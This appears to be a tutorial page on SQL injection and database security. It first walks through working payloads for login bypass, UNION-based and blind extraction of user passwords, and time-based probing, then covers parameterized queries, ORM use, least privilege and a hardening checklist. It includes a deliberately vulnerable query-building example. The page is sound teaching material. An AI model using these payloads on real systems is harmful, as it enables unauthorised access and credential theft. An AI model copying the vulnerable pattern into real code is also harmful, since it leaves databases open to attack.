SQL Injection & Database Security

# VULNERABLE — direct string concatenation
username = request.GET["username"]
query = "SELECT * FROM users WHERE username = '" + username + "'"
db.execute(query)

# Attacker sends: ' OR '1'='1
# Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1'
# '1'='1' is always true → returns ALL users

Normal login query:
SELECT * FROM users WHERE username='alice' AND password='secret'

Attack: username = admin'--
Result: SELECT * FROM users WHERE username='admin'--' AND password='...'
             ↑ comment ends the query here — password check removed!

-- Attack payload in a search field
' UNION SELECT username, password, email, NULL FROM users--

-- The UNION must have the same number of columns as the original SELECT
-- First, figure out column count with ORDER BY:
' ORDER BY 1--   (no error)
' ORDER BY 2--   (no error)
' ORDER BY 5--   (error! → 4 columns)

-- Original query (4 columns):
SELECT id, name, description, price FROM products WHERE id=?

-- Attacker injects:
1 UNION SELECT username, password, email, 'x' FROM users--

-- Result mixes product and user data in same response

-- Find column count automatically:
1 ORDER BY 1--     (try until error)
1 ORDER BY 4--     (works → 4 cols)

-- Find string-injectable columns (try NULL first):
1 UNION SELECT NULL,NULL,NULL,NULL--
1 UNION SELECT 'a',NULL,NULL,NULL--

-- Force SQLite to include data in error messages
-- (not always possible — depends on error display)
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS INTEGER)--
-- Error: "datatype mismatch" includes the username value

-- True condition: page loads normally
' AND 1=1--

-- False condition: page is empty or different
' AND 1=2--

-- Extract data one character at a time:
' AND SUBSTR((SELECT password FROM users LIMIT 1), 1, 1) = 'a'--
' AND SUBSTR((SELECT password FROM users LIMIT 1), 1, 1) = 'b'--
...
-- Automate with sqlmap or custom binary search script

-- Extract admin password:
' AND (SELECT COUNT(*) FROM users WHERE role='admin') > 0--
' AND LENGTH((SELECT password FROM users WHERE role='admin')) > 8--
' AND SUBSTR((SELECT password FROM users WHERE role='admin'),1,1)='a'--

-- SQLite: no native SLEEP(), but can use heavy computation
-- MySQL: SLEEP(5) delays 5 seconds if condition is true
' AND IF(1=1, SLEEP(5), 0)--

-- SQLite alternative (heavy regex):
' AND (SELECT CASE WHEN (1=1)
       THEN RANDOMBLOB(100000000) ELSE 1 END)--

-- Check if admin user exists (delay if true):
' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users WHERE role='admin')>0
       THEN RANDOMBLOB(100000000) ELSE 1 END)--

# Python sqlite3
cursor.execute(
    "SELECT * FROM users WHERE username = ? AND password = ?",
    (username, password)
)

# Python with psycopg2 (PostgreSQL)
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

# Never build queries with % or + formatting
# BAD:
cursor.execute("SELECT * FROM users WHERE name = '%s'" % name)

# SAFE — Django ORM uses parameterized queries internally
user = User.objects.get(username=username)
users = User.objects.filter(role="admin")

# SAFE — .filter() always parameterizes
User.objects.filter(username=username, is_active=True)

# DANGEROUS — raw() with string formatting
User.objects.raw(f"SELECT * FROM users WHERE username='{username}'")

# SAFE — raw() with params
User.objects.raw("SELECT * FROM users WHERE username=%s", [username])

-- Don't connect as root/admin
-- Create read-only user for SELECT-only operations
CREATE USER 'app_reader'@'localhost' IDENTIFIED BY 'pass';
GRANT SELECT ON cyberlearn.* TO 'app_reader'@'localhost';

-- Read-write user can't DROP or CREATE
CREATE USER 'app_writer'@'localhost' IDENTIFIED BY 'pass';
GRANT SELECT, INSERT, UPDATE, DELETE ON cyberlearn.* TO 'app_writer'@'localhost';

-- Never GRANT ALL PRIVILEGES for application accounts

import re

def validate_ip(ip: str) -> bool:
    pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
    if not re.match(pattern, ip):
        return False
    return all(0 <= int(octet) <= 255 for octet in ip.split('.'))

# Allow-list validation — reject anything not matching expected format
# WAF (Web Application Firewall) — Cloudflare, ModSecurity
# Blocks common SQLi signatures

# NEVER show database errors to users
try:
    result = db.execute(query, params)
except Exception:
    logger.exception("Database error")
    return {"error": "An internal error occurred"}, 500
# Detailed error → gives attacker schema info

☑ Parameterized queries everywhere (no string concatenation)
☑ ORM for all standard queries, raw() only with params
☑ Least-privilege DB user (no root, no DDL)
☑ Errors logged server-side, generic message to client
☑ No sensitive data in error messages
☑ Input validation (whitelist, not blacklist)
☑ WAF in front of the application
☑ DB on private network (not internet-facing)
☑ Credentials in environment variables, not source code
☑ Audit log enabled
☑ Regular backups tested for restore
☑ Monitor for anomalous query patterns